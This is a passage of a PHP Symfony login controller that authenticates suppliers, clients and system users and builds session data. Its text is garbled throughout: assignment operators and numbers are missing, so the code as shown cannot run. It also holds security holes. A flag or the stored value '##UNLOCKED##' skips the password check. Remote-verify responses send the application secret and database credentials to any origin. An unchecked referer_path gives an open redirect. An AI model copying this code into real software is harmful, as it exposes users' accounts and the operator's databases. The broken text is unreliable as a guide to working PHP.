  2066.                                     'session' => $session,
  2067.                                     'success' => false,
  2068.                                     'errorStr' => $message,
  2069.                                     'session_data' => [],
  2070.                                 ));
  2071.                             }
  2072.                             if ($systemType == '_BUDDYBEE_')
  2073.                                 return $this->redirectToRoute("applicant_login", [
  2074.                                     "message" => $message,
  2075.                                     "errorField" => 'username',
  2076.                                 ]);
  2077.                             else if ($systemType == '_CENTRAL_')
  2078.                                 return $this->redirectToRoute("central_login", [
  2079.                                     "message" => $message,
  2080.                                     "errorField" => 'username',
  2081.                                 ]);
  2082.                             else if ($systemType == '_SOPHIA_')
  2083.                                 return $this->redirectToRoute("sophia_login", [
  2084.                                     "message" => $message,
  2085.                                     "errorField" => 'username',
  2086.                                 ]);
  2087.                             else
  2088.                                 return $this->render($redirect_login_page_twig, array(
  2089.                                     "message" => $message,
  2090.                                     'page_title' => "Login",
  2091.                                     'gocList' => $gocDataList,
  2092.                                     'gocId' => $gocId
  2093.                                 ));
  2094.                         }
  2095.                         if ($user) {
  2096.                             if ($oAuthData) {
  2097.                                 // user passed
  2098.                             } else {
  2099.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2100.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2101. //                                    if ($user->getPassword() == $request->request->get('password')) {
  2102. //                                        // user passed
  2103. //                                    } else {
  2104.                                     $message "Oops! Wrong Password";
  2105.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  2106.                                         return new JsonResponse(array(
  2107.                                             'uid' => $session->get(UserConstants::USER_ID),
  2108.                                             'session' => $session,
  2109.                                             'success' => false,
  2110.                                             'errorStr' => $message,
  2111.                                             'session_data' => [],
  2112.                                         ));
  2113.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2114.                                         //                    return $response;
  2115.                                     }
  2116.                                     if ($systemType == '_BUDDYBEE_')
  2117.                                         return $this->redirectToRoute("applicant_login", [
  2118.                                             "message" => $message,
  2119.                                             "errorField" => 'password',
  2120.                                         ]);
  2121.                                     else if ($systemType == '_CENTRAL_')
  2122.                                         return $this->redirectToRoute("central_login", [
  2123.                                             "message" => $message,
  2124.                                             "errorField" => 'username',
  2125.                                         ]);
  2126.                                     else if ($systemType == '_SOPHIA_')
  2127.                                         return $this->redirectToRoute("sophia_login", [
  2128.                                             "message" => $message,
  2129.                                             "errorField" => 'username',
  2130.                                         ]);
  2131.                                     else
  2132.                                         return $this->render($redirect_login_page_twig, array(
  2133.                                             "message" => $message,
  2134.                                             'page_title' => "Login",
  2135.                                             'gocList' => $gocDataList,
  2136.                                             'gocId' => $gocId
  2137.                                         ));
  2138.                                 }
  2139.                             }
  2140.                         }
  2141.                         $jd = [];
  2142.                         if ($jd != null && $jd != '' && $jd != [])
  2143.                             $company_id_list $jd;
  2144.                         else
  2145.                             $company_id_list = [];
  2146. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2147. //                        foreach ($company_id_list as $c) {
  2148. //                            $company_name_list[$c] = $companyList[$c]['name'];
  2149. //                            $company_image_list[$c] = $companyList[$c]['image'];
  2150. //                        }
  2151.                     };
  2152.                 } else {
  2153.                     if ($cookieLogin == 1) {
  2154.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2155.                             array(
  2156.                                 'userId' => $userId
  2157.                             )
  2158.                         );
  2159.                     } else if ($encrypedLogin == 1) {
  2160.                         if (in_array($userType, [34]))
  2161.                             $specialLogin 1;
  2162.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2163.                             $user null;
  2164.                             if ($clientId 0) {
  2165.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2166.                                     array(
  2167.                                         'clientId' => $clientId
  2168.                                     )
  2169.                                 );
  2170.                             }
  2171.                             if (!$user) {
  2172.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  2173.                                     array(
  2174.                                         'globalUserId' => $globalId
  2175.                                     )
  2176.                                 );
  2177.                             }
  2178. //
  2179.                             if ($user)
  2180.                                 $userId $user->getClientId();
  2181.                             $clientId $userId;
  2182.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2183.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  2184.                                 array(
  2185.                                     'globalUserId' => $globalId
  2186.                                 )
  2187.                             );
  2188. //
  2189.                             if ($user)
  2190.                                 $userId $user->getSupplierId();
  2191.                             $supplierId $userId;
  2192.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2193. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  2194. //                                array(
  2195. //                                    'globalId' => $globalId
  2196. //                                )
  2197. //                            );
  2198. //
  2199. //                            if($user)
  2200. //                                $userId=$user->getUserId();
  2201. //                            $applicantId = $userId;
  2202.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  2203.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2204.                                 array(
  2205.                                     'globalId' => $globalId
  2206.                                 )
  2207.                             );
  2208.                             if ($user)
  2209.                                 $userId $user->getUserId();
  2210.                         }
  2211.                     } else {
  2212.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2213.                             array(
  2214.                                 'userName' => $request->request->get('username')
  2215.                             )
  2216.                         );
  2217.                     }
  2218.                     if (!$user) {
  2219.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  2220.                             array(
  2221.                                 'email' => $request->request->get('username'),
  2222.                                 'userName' => [null'']
  2223.                             )
  2224.                         );
  2225.                         if (!$user) {
  2226.                             $message "Wrong User Name";
  2227.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2228.                                 return new JsonResponse(array(
  2229.                                     'uid' => $session->get(UserConstants::USER_ID),
  2230.                                     'session' => $session,
  2231.                                     'success' => false,
  2232.                                     'errorStr' => $message,
  2233.                                     'session_data' => [],
  2234.                                 ));
  2235.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2236.                                 //                    return $response;
  2237.                             }
  2238.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2239.                                 "message" => $message,
  2240.                                 'page_title' => "Login",
  2241.                                 'gocList' => $gocDataList,
  2242.                                 'gocId' => $gocId
  2243.                             ));
  2244.                         } else {
  2245.                             //add the email as username as failsafe
  2246.                             $user->setUserName($request->request->get('username'));
  2247.                             $em->flush();
  2248.                         }
  2249.                     }
  2250.                     if ($user) {
  2251.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  2252.                             $message "Sorry, Your Account is Deactivated";
  2253.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  2254.                                 return new JsonResponse(array(
  2255.                                     'uid' => $session->get(UserConstants::USER_ID),
  2256.                                     'session' => $session,
  2257.                                     'success' => false,
  2258.                                     'errorStr' => $message,
  2259.                                     'session_data' => [],
  2260.                                 ));
  2261.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2262.                                 //                    return $response;
  2263.                             }
  2264.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2265.                                 "message" => $message,
  2266.                                 'page_title' => "Login",
  2267.                                 'gocList' => $gocDataList,
  2268.                                 'gocId' => $gocId
  2269.                             ));
  2270.                         }
  2271.                     }
  2272.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  2273.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  2274.                         $message "Wrong Email/Password";
  2275.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2276.                             return new JsonResponse(array(
  2277.                                 'uid' => $session->get(UserConstants::USER_ID),
  2278.                                 'session' => $session,
  2279.                                 'success' => false,
  2280.                                 'errorStr' => $message,
  2281.                                 'session_data' => [],
  2282.                             ));
  2283.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  2284.                             //                    return $response;
  2285.                         }
  2286.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  2287.                             "message" => $message,
  2288.                             'page_title' => "Login",
  2289.                             'gocList' => $gocDataList,
  2290.                             'gocId' => $gocId
  2291.                         ));
  2292.                     }
  2293.                     $userType $user->getUserType();
  2294.                     $jd json_decode($user->getUserCompanyIdList(), true);
  2295.                     if ($jd != null && $jd != '' && $jd != [])
  2296.                         $company_id_list $jd;
  2297.                     else
  2298.                         $company_id_list = [$user->getUserCompanyId()];
  2299.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2300.                     foreach ($company_id_list as $c) {
  2301.                         if (isset($companyList[$c])) {
  2302.                             $company_name_list[$c] = $companyList[$c]['name'];
  2303.                             $company_image_list[$c] = $companyList[$c]['image'];
  2304.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  2305.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  2306.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  2307.                         }
  2308.                     }
  2309.                 }
  2310. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  2311.                 if ($remember_me == 1)
  2312.                     $session->set('REMEMBERME'1);
  2313.                 else
  2314.                     $session->set('REMEMBERME'0);
  2315.                 $config = array(
  2316.                     'firstLogin' => $firstLogin,
  2317.                     'rememberMe' => $remember_me,
  2318.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2319.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  2320.                     'applicationSecret' => $this->container->getParameter('secret'),
  2321.                     'gocId' => $gocId,
  2322.                     'appId' => $appIdFromUserName,
  2323.                     'gocDbName' => $gocDbName,
  2324.                     'gocDbUser' => $gocDbUser,
  2325.                     'gocDbHost' => $gocDbHost,
  2326.                     'gocDbPass' => $gocDbPass
  2327.                 );
  2328.                 $product_name_display_type 0;
  2329.                 if ($systemType != '_CENTRAL_') {
  2330.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  2331.                         'name' => 'product_name_display_method'
  2332.                     ));
  2333.                     if ($product_name_display_settings)
  2334.                         $product_name_display_type $product_name_display_settings->getData();
  2335.                 }
  2336.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  2337.                     $userCompanyId 1;
  2338.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2339.                     if (isset($companyList[$userCompanyId])) {
  2340.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2341.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2342.                         $company_locale $companyList[$userCompanyId]['locale'];
  2343.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2344.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2345.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2346.                     }
  2347.                     // General User
  2348.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  2349.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2350.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  2351.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  2352.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2353.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2354.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  2355.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2356.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2357.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2358.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2359.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2360.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2361.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2362.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2363.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2364.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2365.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2366.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2367.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2368.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2369.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2370.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2371.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2372.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2373.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2374.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2375.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2376.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2377.                     //                $PL=json_decode($user->getPositionIds(), true);
  2378.                     $route_list_array = [];
  2379.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2380.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2381.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2382.                     $loginID 0;
  2383.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2384.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2385.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2386.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2387.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2388.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2389.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2390.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2391.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2392.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2393.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2394.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2395.                         $session->set('remoteVerified'1);
  2396.                         $session_data = array(
  2397.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2398.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2399.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2400.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2401.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2402.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2403.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2404.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2405.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2406.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2407.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2408.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2409.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2410.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2411.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2412.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2413.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2414.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2415.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2416.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2417.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2418.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2419.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2420.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2421.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2422.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2423.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2424.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2425.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2426.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2427.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2428.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2429.                         );
  2430.                         $session_data $this->filterClientSessionData($session_data);
  2431.                         $response = new JsonResponse(array(
  2432.                             'uid' => $session->get(UserConstants::USER_ID),
  2433.                             'session' => $session,
  2434.                             'success' => true,
  2435.                             'session_data' => $session_data,
  2436.                         ));
  2437.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2438.                         return $response;
  2439.                     }
  2440.                     if ($request->request->has('referer_path')) {
  2441.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2442.                             return $this->redirect($request->request->get('referer_path'));
  2443.                         }
  2444.                     }
  2445.                     //                    if($request->request->has('gocId')
  2446.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2447.                     return $this->redirectToRoute("supplier_dashboard");
  2448.                     //                    else
  2449.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2450.                 } else if ($userType == UserConstants::USER_TYPE_CLIENT) {
  2451.                     // General User
  2452.                     $userCompanyId 1;
  2453.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2454.                     if (isset($companyList[$userCompanyId])) {
  2455.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2456.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2457.                         $company_locale $companyList[$userCompanyId]['locale'];
  2458.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2459.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2460.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2461.                     }
  2462.                     $session->set(UserConstants::USER_ID$user->getClientId());
  2463.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2464.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  2465.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  2466.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2467.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2468.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  2469.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  2470.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  2471.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2472.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2473.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2474.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2475.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2476.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2477.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  2478.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  2479.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  2480.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2481.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2482.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2483.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2484.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2485.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2486.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2487.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2488.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2489.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2490.                     //                $PL=json_decode($user->getPositionIds(), true);
  2491.                     $route_list_array = [];
  2492.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  2493.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  2494.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2495.                     $loginID 0;
  2496.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2497.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2498.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2499.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2500.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2501.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2502.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2503.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2504.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2505.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2506.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  2507.                     $session_data = array(
  2508.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  2509.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2510.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2511.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  2512.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  2513.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  2514.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  2515.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  2516.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  2517.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  2518.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  2519.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  2520.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  2521.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  2522.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  2523.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  2524.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  2525.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  2526.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  2527.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  2528.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2529.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2530.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2531.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  2532.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  2533.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  2534.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  2535.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  2536.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  2537.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  2538.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2539.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2540.                     );
  2541.                     $session_data $this->filterClientSessionData($session_data);
  2542.                     $session_data $this->filterClientSessionData($session_data);
  2543.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2544.                     $session_data $tokenData['sessionData'];
  2545.                     $token $tokenData['token'];
  2546.                     $session->set('token'$token);
  2547.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2548.                         $session->set('remoteVerified'1);
  2549.                         $response = new JsonResponse(array(
  2550.                             'uid' => $session->get(UserConstants::USER_ID),
  2551.                             'session' => $session,
  2552.                             'token' => $token,
  2553.                             'success' => true,
  2554.                             'session_data' => $session_data,
  2555.                         ));
  2556.                         $response->headers->set('Access-Control-Allow-Origin''*');
  2557.                         return $response;
  2558.                     }
  2559.                     if ($request->request->has('referer_path')) {
  2560.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  2561.                             return $this->redirect($request->request->get('referer_path'));
  2562.                         }
  2563.                     }
  2564.                     //                    if($request->request->has('gocId')
  2565.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  2566.                     return $this->redirectToRoute("client_dashboard"); //will be client
  2567.                     //                    else
  2568.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  2569.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  2570.                     // System administrator
  2571.                     // System administrator have successfully logged in. Lets add a login ID.
  2572.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2573.                         ->findOneBy(
  2574.                             array(
  2575.                                 'userId' => $user->getUserId()
  2576.                             )
  2577.                         );
  2578.                     if ($employeeObj) {
  2579.                         $employeeId $employeeObj->getEmployeeId();
  2580.                         $epositionId $employeeObj->getPositionId();
  2581.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2582.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2583.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2584.                     }
  2585.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2586.                         ->findOneBy(
  2587.                             array(
  2588.                                 'userId' => $user->getUserId(),
  2589.                                 'workingStatus' => 1
  2590.                             )
  2591.                         );
  2592.                     if ($currentTask) {
  2593.                         $currentTaskId $currentTask->getId();
  2594.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2595.                     }
  2596.                     $userId $user->getUserId();
  2597.                     $userCompanyId 1;
  2598.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2599.                     $userEmail $user->getEmail();
  2600.                     $userImage $user->getImage();
  2601.                     $userFullName $user->getName();
  2602.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2603.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2604.                     $position_list_array json_decode($user->getPositionIds(), true);
  2605.                     if ($position_list_array == null$position_list_array = [];
